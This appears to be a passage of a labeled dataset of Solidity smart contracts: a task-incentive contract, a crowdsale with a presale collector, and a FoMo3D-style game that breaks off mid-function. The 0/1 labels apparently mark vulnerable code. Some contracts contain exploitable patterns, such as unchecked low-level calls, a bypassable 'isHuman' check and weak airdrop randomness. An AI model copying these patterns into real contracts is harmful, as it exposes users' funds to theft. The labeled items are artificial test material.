source_codes
stringlengths 72
160k
| labels
int64 0
1
| __index_level_0__
int64 0
4.4k
|
|---|---|---|
pragma solidity >=0.6.0 <0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
pragma solidity >=0.6.0 <0.8.0;
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
pragma solidity <=0.6.2;
interface ITask {
function check(uint _requirement) external view returns (uint256);
function execute() external;
}
interface IWhirlpool {
function claim() external;
function getAllInfoFor(address _user) external view returns (bool isActive, uint256[12] memory info);
}
interface ISURF3D {
function dividendsOf(address _user) external view returns (uint256);
function withdraw() external returns (uint256);
}
interface IERC20 {
function transfer(address recipient, uint256 amount) external returns (bool);
}
interface IFreeFromUpTo {
function freeFromUpTo(address from, uint256 value) external returns (uint256 freed);
}
contract AtlantisCore is Ownable {
IFreeFromUpTo public constant gst = IFreeFromUpTo(0x0000000000b3F879cb30FE243b4Dfee438691c04);
IFreeFromUpTo public constant chi = IFreeFromUpTo(0x0000000000004946c0e9F43F4Dee607b0eF1fA1c);
address private constant _surf = 0xEa319e87Cf06203DAe107Dd8E5672175e3Ee976c;
address private constant _surf3D = 0xeb620A32Ea11FcAa1B3D70E4CFf6500B85049C97;
address private constant _whirlpool = 0x999b1e6EDCb412b59ECF0C5e14c20948Ce81F40b;
address[] public processors;
uint private _totalBurned;
uint private _totalTasks;
mapping (uint => Task) private _taskMap;
mapping (address => uint) private _totalIncentiveReceived;
mapping (address => uint) private _totalTasksByProcessor;
mapping (uint => uint) private _taskTimestamp;
mapping (address => bool) private _processed;
mapping (address => uint) public processorTimestamp;
struct Task {
address process;
bool enabled;
uint incentive;
uint burnRatio;
uint throttle;
uint requirement;
}
modifier discountGST {
uint256 gasStart = gasleft();
_;
uint256 gasSpent = 21000 + gasStart - gasleft() + 16 * msg.data.length;
gst.freeFromUpTo(msg.sender, (gasSpent + 14154) / 41130);
}
modifier discountCHI {
uint256 gasStart = gasleft();
_;
uint256 gasSpent = 21000 + gasStart - gasleft() + 16 * msg.data.length;
chi.freeFromUpTo(msg.sender, (gasSpent + 14154) / 41130);
}
constructor()
public {
_taskMap[0] = Task({
process: address(0x0),
enabled: true,
incentive: 200 ether,
burnRatio: 2,
throttle: 1 weeks,
requirement: 1000 ether
});
_totalTasks++;
}
function _check(uint _requirement)
internal view returns (uint256) {
(, uint256[12] memory userData) = IWhirlpool(_whirlpool).getAllInfoFor(address(this));
if(userData[10] >= _requirement)
return 0;
else
return _requirement - userData[10];
}
function _execute()
internal {
IWhirlpool(_whirlpool).claim();
if(ISURF3D(_surf3D).dividendsOf(address(this)) > 0)
ISURF3D(_surf3D).withdraw();
}
function _process(uint _taskID, address _processor)
internal {
require(block.timestamp >= _taskTimestamp[_taskID] + _taskMap[_taskID].throttle, "");
require(_taskMap[_taskID].enabled, "");
uint requirement = _taskMap[_taskID].requirement;
address taskProcess = _taskMap[_taskID].process;
if(requirement > 0)
require(_taskID == 0 ? _check(requirement) == 0 : ITask(taskProcess).check(requirement) == 0, "");
uint incentive = _taskMap[_taskID].incentive;
uint burnRatio = _taskMap[_taskID].burnRatio;
_taskID == 0 ? _execute() : ITask(taskProcess).execute();
if(!_processed[_processor]) {
_processed[_processor] = true;
processors.push(_processor);
}
processorTimestamp[_processor] = block.timestamp;
if(burnRatio != 0)
IERC20(_surf).transfer(_surf, incentive / burnRatio);
uint incentiveReceived = burnRatio == 0 ? incentive : incentive - (incentive / burnRatio);
IERC20(_surf).transfer(_processor, incentiveReceived);
_totalIncentiveReceived[_processor] += incentiveReceived;
if(incentive - incentiveReceived > 0)
_totalBurned += (incentive - incentiveReceived);
_totalTasksByProcessor[_processor]++;
_taskTimestamp[_taskID] = block.timestamp;
}
function addTask(address _taskProcess, uint _incentive, uint _burnRatio, uint _throttle, uint _requirement)
external onlyOwner {
_taskMap[_totalTasks] = Task({
process: _taskProcess,
enabled: true,
incentive: _incentive,
burnRatio: _burnRatio,
throttle: _throttle,
requirement: _requirement
});
_totalTasks++;
}
function editTask(uint _taskID, address _taskProcess, bool _enabled, uint _incentive, uint _burnRatio, uint _throttle, uint _requirement)
external onlyOwner {
_taskMap[_taskID] = Task({
process: _taskProcess,
enabled: _enabled,
incentive: _incentive,
burnRatio: _burnRatio,
throttle: _throttle,
requirement: _requirement
});
}
function process(uint _taskID, address _processor)
external {
if(msg.sender == address(this))
_process(_taskID, _processor);
else
_process(_taskID, msg.sender);
}
function processCHI(uint _taskID)
external discountCHI {
_process(_taskID, msg.sender);
}
function processGST(uint _taskID)
external discountGST {
_process(_taskID, msg.sender);
}
function bulkProcess(uint256[] calldata _taskIDs)
external {
for(uint x = 0; x < _taskIDs.length; x++)
address(this).call(abi.encodeWithSignature("process(uint256,address)", _taskIDs[x], msg.sender));
}
function bulkProcessCHI(uint256[] calldata _taskIDs)
external discountCHI {
for(uint x = 0; x < _taskIDs.length; x++)
address(this).call(abi.encodeWithSignature("process(uint256,address)", _taskIDs[x], msg.sender));
}
function bulkProcessGST(uint256[] calldata _taskIDs)
external discountGST {
for(uint x = 0; x < _taskIDs.length; x++)
address(this).call(abi.encodeWithSignature("process(uint256,address)", _taskIDs[x], msg.sender));
}
function check(uint _requirement)
external view returns (uint256) {
return _check(_requirement);
}
function viewStatsFor(address _processor)
external view returns (uint256, uint256) {
return (_totalIncentiveReceived[_processor], _totalTasksByProcessor[_processor]);
}
function viewCore()
external view returns (uint256, uint256) {
return (_totalBurned, _totalTasks);
}
function viewAllStatsFor(address _processor)
external view returns (uint256, uint256, uint256, uint256) {
return (_totalIncentiveReceived[_processor], _totalTasksByProcessor[_processor], _totalBurned, _totalTasks);
}
function viewTask(uint _taskID)
external view returns (bool, uint256, uint256, uint256, uint256) {
return (_taskMap[_taskID].enabled, _taskMap[_taskID].incentive, _taskMap[_taskID].burnRatio, _taskMap[_taskID].throttle, _taskMap[_taskID].requirement);
}
function viewTaskCheck(uint _taskID)
external view returns (uint256, uint256) {
uint throttleTimeLeft;
if(_taskTimestamp[_taskID] + _taskMap[_taskID].throttle > block.timestamp)
throttleTimeLeft = (_taskTimestamp[_taskID] + _taskMap[_taskID].throttle) - block.timestamp;
else
throttleTimeLeft = 0;
return (throttleTimeLeft, _taskID == 0 ? _check(_taskMap[_taskID].requirement) : ITask(_taskMap[_taskID].process).check(_taskMap[_taskID].requirement));
}
function viewProcessorLength()
external view returns (uint256) {
return processors.length;
}
function viewProcessors()
external view returns (address[] memory) {
return processors;
}
} | 1 | 2,874 |
library SafeMathLib {
function times(uint a, uint b) returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function minus(uint a, uint b) returns (uint) {
assert(b <= a);
return a - b;
}
function plus(uint a, uint b) returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function assert(bool assertion) private {
if (!assertion) throw;
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
if (msg.sender != owner) {
throw;
}
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract Haltable is Ownable {
bool public halted;
modifier stopInEmergency {
if (halted) throw;
_;
}
modifier onlyInEmergency {
if (!halted) throw;
_;
}
function halt() external onlyOwner {
halted = true;
}
function unhalt() external onlyOwner onlyInEmergency {
halted = false;
}
}
contract PricingStrategy {
function isPricingStrategy() public constant returns (bool) {
return true;
}
function isSane(address crowdsale) public constant returns (bool) {
return true;
}
function calculatePrice(uint value, uint tokensSold, uint weiRaised, address msgSender, uint decimals) public constant returns (uint tokenAmount);
}
contract FinalizeAgent {
function isFinalizeAgent() public constant returns(bool) {
return true;
}
function isSane() public constant returns (bool);
function finalizeCrowdsale();
}
contract ERC20 {
uint public totalSupply;
function balanceOf(address who) constant returns (uint);
function allowance(address owner, address spender) constant returns (uint);
function transfer(address to, uint value) returns (bool ok);
function transferFrom(address from, address to, uint value) returns (bool ok);
function approve(address spender, uint value) returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract FractionalERC20 is ERC20 {
uint public decimals;
}
contract Crowdsale is Haltable {
using SafeMathLib for uint;
FractionalERC20 public token;
PricingStrategy public pricingStrategy;
FinalizeAgent public finalizeAgent;
address public multisigWallet;
uint public minimumFundingGoal;
uint public startsAt;
uint public endsAt;
uint public tokensSold = 0;
uint public weiRaised = 0;
uint public investorCount = 0;
uint public loadedRefund = 0;
uint public weiRefunded = 0;
bool public finalized;
mapping (address => uint256) public investedAmountOf;
mapping (address => uint256) public tokenAmountOf;
uint public ownerTestValue;
enum State{Unknown, Preparing, PreFunding, Funding, Success, Failure, Finalized, Refunding}
event Invested(address investor, uint weiAmount, uint tokenAmount);
event Refund(address investor, uint weiAmount);
function Crowdsale(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal) {
owner = msg.sender;
token = FractionalERC20(_token);
setPricingStrategy(_pricingStrategy);
multisigWallet = _multisigWallet;
if(multisigWallet == 0) {
throw;
}
if(_start == 0) {
throw;
}
startsAt = _start;
if(_end == 0) {
throw;
}
endsAt = _end;
if(startsAt >= endsAt) {
throw;
}
minimumFundingGoal = _minimumFundingGoal;
}
function() payable {
throw;
}
function invest(address receiver) inState(State.Funding) stopInEmergency payable public {
uint weiAmount = msg.value;
uint tokenAmount = pricingStrategy.calculatePrice(weiAmount, weiRaised, tokensSold, msg.sender, token.decimals());
if(tokenAmount == 0) {
throw;
}
if(investedAmountOf[receiver] == 0) {
investorCount++;
}
investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount);
weiRaised = weiRaised.plus(weiAmount);
tokensSold = tokensSold.plus(tokenAmount);
if(isBreakingCap(tokenAmount, weiAmount, weiRaised, tokensSold)) {
throw;
}
assignTokens(receiver, tokenAmount);
if(!multisigWallet.send(weiAmount)) throw;
Invested(receiver, weiAmount, tokenAmount);
}
function buy() public payable {
invest(msg.sender);
}
function finalize() public inState(State.Success) onlyOwner stopInEmergency {
if(finalized) {
throw;
}
if(address(finalizeAgent) != 0) {
finalizeAgent.finalizeCrowdsale();
}
finalized = true;
}
function setFinalizeAgent(FinalizeAgent addr) onlyOwner {
finalizeAgent = addr;
if(!finalizeAgent.isFinalizeAgent()) {
throw;
}
}
function setPricingStrategy(PricingStrategy _pricingStrategy) onlyOwner {
pricingStrategy = _pricingStrategy;
if(!pricingStrategy.isPricingStrategy()) {
throw;
}
}
function loadRefund() public payable inState(State.Failure) {
if(msg.value == 0) throw;
loadedRefund = loadedRefund.plus(msg.value);
}
function refund() public inState(State.Refunding) {
uint256 weiValue = investedAmountOf[msg.sender];
if (weiValue == 0) throw;
investedAmountOf[msg.sender] = 0;
weiRefunded = weiRefunded.plus(weiValue);
Refund(msg.sender, weiValue);
if (!msg.sender.send(weiValue)) throw;
}
function isMinimumGoalReached() public constant returns (bool reached) {
return weiRaised >= minimumFundingGoal;
}
function getState() public constant returns (State) {
if(finalized) return State.Finalized;
else if (address(finalizeAgent) == 0) return State.Preparing;
else if (!finalizeAgent.isSane()) return State.Preparing;
else if (!pricingStrategy.isSane(address(this))) return State.Preparing;
else if (block.timestamp < startsAt) return State.PreFunding;
else if (block.timestamp <= endsAt && !isCrowdsaleFull()) return State.Funding;
else if (isMinimumGoalReached()) return State.Success;
else if (!isMinimumGoalReached() && weiRaised > 0 && loadedRefund >= weiRaised) return State.Refunding;
else return State.Failure;
}
function setOwnerTestValue(uint val) onlyOwner {
ownerTestValue = val;
}
modifier inState(State state) {
if(getState() != state) throw;
_;
}
function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) constant returns (bool limitBroken);
function isCrowdsaleFull() public constant returns (bool);
function assignTokens(address receiver, uint tokenAmount) private;
}
contract PresaleFundCollector is Ownable {
using SafeMathLib for uint;
uint public MAX_INVESTORS = 32;
uint public investorCount;
address[] public investors;
mapping(address => uint) public balances;
uint public freezeEndsAt;
uint public weiMinimumLimit;
bool public moving;
Crowdsale public crowdsale;
event Invested(address investor, uint value);
event Refunded(address investor, uint value);
function PresaleFundCollector(address _owner, uint _freezeEndsAt, uint _weiMinimumLimit) {
owner = _owner;
if(_freezeEndsAt == 0) {
throw;
}
if(_weiMinimumLimit == 0) {
throw;
}
weiMinimumLimit = _weiMinimumLimit;
freezeEndsAt = _freezeEndsAt;
}
function invest() public payable {
if(moving) throw;
address investor = msg.sender;
bool existing = balances[investor] > 0;
balances[investor] = balances[investor].plus(msg.value);
if(balances[investor] < weiMinimumLimit) {
throw;
}
if(!existing) {
if(investorCount >= MAX_INVESTORS) throw;
investors.push(investor);
investorCount++;
}
Invested(investor, msg.value);
}
function parcipateCrowdsaleInvestor(address investor) public {
if(address(crowdsale) == 0) throw;
moving = true;
if(balances[investor] > 0) {
uint amount = balances[investor];
delete balances[investor];
crowdsale.invest.value(amount)(investor);
}
}
function parcipateCrowdsaleAll() public {
for(uint i=0; i<investors.length; i++) {
parcipateCrowdsaleInvestor(investors[i]);
}
}
function refund() {
if(now < freezeEndsAt) throw;
moving = true;
address investor = msg.sender;
if(balances[investor] == 0) throw;
uint amount = balances[investor];
delete balances[investor];
if(!investor.send(amount)) throw;
Refunded(investor, amount);
}
function setCrowdsale(Crowdsale _crowdsale) public onlyOwner {
crowdsale = _crowdsale;
}
function() payable {
throw;
}
} | 0 | 1,240 |
pragma solidity ^0.4.24;
contract F3Devents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
}
contract modularLong is F3Devents {}
contract FoMo3Dlong is modularLong {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcLong for uint256;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0xE7e851aC612A91667ec4BCf7f90521d48a6a5Db5);
address private admin = msg.sender;
address private com = 0xaba7a09EDBe80403Ab705B95df24A5cE60Ec3b12;
string constant public name = "FoMo4D";
string constant public symbol = "F4D";
uint256 private rndExtra_ = 0;
uint256 private rndGap_ = 2 minutes;
uint256 constant private rndInit_ = 1 hours;
uint256 constant private rndInc_ = 30 seconds;
uint256 constant private rndMax_ = 24 hours;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => F3Ddatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => F3Ddatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => F3Ddatasets.TeamFee) public fees_;
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_;
constructor()
public
{
fees_[0] = F3Ddatasets.TeamFee(31,0);
fees_[1] = F3Ddatasets.TeamFee(41,0);
fees_[2] = F3Ddatasets.TeamFee(61,0);
fees_[3] = F3Ddatasets.TeamFee(46,0);
potSplit_[0] = F3Ddatasets.PotSplit(20,0);
potSplit_[1] = F3Ddatasets.PotSplit(25,0);
potSplit_[2] = F3Ddatasets.PotSplit(30,0);
potSplit_[3] = F3Ddatasets.PotSplit(35,0);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
F3Ddatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
